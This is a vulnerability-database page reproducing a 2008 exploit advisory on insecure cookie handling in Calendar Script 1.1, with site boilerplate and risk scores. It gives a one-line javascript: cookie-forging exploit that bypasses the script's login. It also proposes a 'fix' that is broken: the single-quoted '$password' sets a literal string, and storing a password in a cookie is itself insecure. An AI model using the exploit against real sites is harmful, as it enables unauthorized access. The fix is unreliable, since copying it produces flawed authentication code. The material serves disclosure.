Lucene search
+L

Calendar Script 1.1 - Insecure Cookie Handling

🗓️ 18 Dec 2008 00:00:00Reported by OsirysType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Calendar Script 1.1 Insecure Cookie Handlin

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5738
18 Dec 200800:00
circl
cve
CVE
CVE-2008-5738
26 Dec 200818:00
cve
cvelist
Cvelist
CVE-2008-5738
26 Dec 200818:00
cvelist
euvd
EUVD
EUVD-2008-5708
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-5738
26 Dec 200818:30
nvd
prion
Prion
Authentication flaw
26 Dec 200818:30
prion
[START]

#########################################################################################
[0x01] Informations:

Script         : Calendar Script v1.1
Download       : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/index.php

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '1', time()+3600);	// Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]

If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and
'1' as content.

## [!] FIX: Change name or content to the cookie. Example:

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '$password', time()+3600);	// Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]


### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/";


#########################################################################################

[/END]

# milw0rm.com [2008-12-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02554
43